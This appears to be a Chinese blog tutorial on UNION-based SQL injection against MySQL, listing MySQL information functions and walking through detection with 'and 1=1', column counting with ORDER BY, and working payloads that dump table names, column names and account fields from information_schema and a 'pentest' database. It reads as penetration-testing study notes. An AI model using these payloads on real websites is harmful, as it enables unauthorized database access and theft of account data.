基于错误的SQL注入(union联合注入)

前提:未过滤

mysql中比较常用的一些函数

version(): 查询数据库的版本          
user():查询数据库的使用者       
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
CAST( 字段名 as 转换的类型)
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。

数字型注入

1、burp抓包,发送至repeater,用and 1=1,and 1=2试试是否有注入点

2、用order by判断位数,看页面是否正常,也可用二分法进行测试, 因为UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型。

3、union查询判断显示位,可故意输入不存在的id,直接显示当前列数,前面查询不存在的时候,执行后面的语句

4、可以查看链接目标的数据库版本,user(),version(),database(), group_concat():将括号中的所有参数拼接成一个字符串; substr(str,start,length):截取str字符串中从start开始,长度为length的子串

知道database()

查看表名

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pentest’

查看列名

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘pentest’ and table_name=‘account’

查看字段

1 union select 1,group_concat(id,’@’,rest,’@’,own),3 from pentest.account

字符型注入(同数字型)

1、用'判断是否报错,在数字型注入的基础上考虑闭合

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值